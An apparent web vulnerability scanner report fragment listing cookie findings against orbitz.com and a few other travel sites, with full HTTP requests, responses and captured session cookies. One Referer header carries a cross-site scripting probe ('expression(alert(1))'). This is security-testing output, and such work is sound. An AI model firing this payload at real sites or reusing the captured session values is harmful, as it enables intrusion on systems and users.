<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewHotelSearch?retrieveParams=true&searchMethodHidden=expand&expandSearchOptions=true&z=2ec2&r=l HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 Moved Permanently Server: Apache-Coyote/1.1 Set-Cookie: OSC=3D7B80A1E27EBAB37F9A4F9BD9B3D63E; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Location: http://www.orbitz.com/shop/hotelsearch?hotel.hotelSearchDetails.checkinDate=02%2F09%2F11&strf=7&hotel.hotelSearchDetails.hotelRoom.numberOfAdults=2&hotel.locationKeywordInput.key=Enter+city+or+point+of+interest...&hotel.typeOfSearch=keyword&hotel.hotelSearchDetails.checkoutDate=02%2F11%2F11&hotel.hotelSearchDetails.numberOfRooms=1&type=hotel P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Length: 0 Date: Wed, 02 Feb 2011 16:06:47 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewMyAccount?shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewRSSHelpPage HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=3014391A48731794845241F259558EBE; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 19:27:25 GMT Content-Length: 77348
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewRoundTripSearch?expandTravelers=true&z=2ec1&r=k HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=E8226D3EEDD7963F144B071A614BE3C3; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:42 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:41 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 156150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewTravelWatchHome HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=F50F32CC6FAEFFAE6197D6FEE65AB6D2; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Content-Length: 109 Date: Thu, 03 Feb 2011 06:46:27 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hotels/?z=4fae&r=1o HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573834583:ss=1296573790782; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e34fb045525d5f4f58455e445a4a4217b9
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; Path=/ Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Set-Cookie: myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; Expires=Mon, 27-Jan-2031 15:23:12 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Tue, 01 Feb 2011 15:23:12 GMT Set-Cookie: NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9;path=/ Content-Length: 107727
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/SignIn?z=2eb0&r=3 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=D3DD8128C5377A40141A9858208488B0; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:13:30 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17640
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/ViewSecureCalendar?z=2ec6&r=p HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=95571C5B16DE6EDEF581BE2B2323412E; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Content-Length: 936 Date: Wed, 02 Feb 2011 16:15:35 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/ViewSetupCareAlertsProfile?z=2ed9&r=18&shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /flux/login_sync.jhtml HTTP/1.1 Host: www.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /flux/widgetRedirect.jhtml HTTP/1.1 Host: www.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hotels/North_America/United_States_of_America/Massachusetts/Boston-794476/Hotels_and_Accommodations-Boston-Millennium_Bostonian_Hotel-BR-1.html HTTP/1.1 Host: www.virtualtourist.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Jetty(6.1.14) Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 16:18:16 GMT Content-Language: en Connection: close Set-Cookie: VTT=64.14.197.3.1296663496.485621; Path=/; Domain=.virtualtourist.com Content-Length: 87089
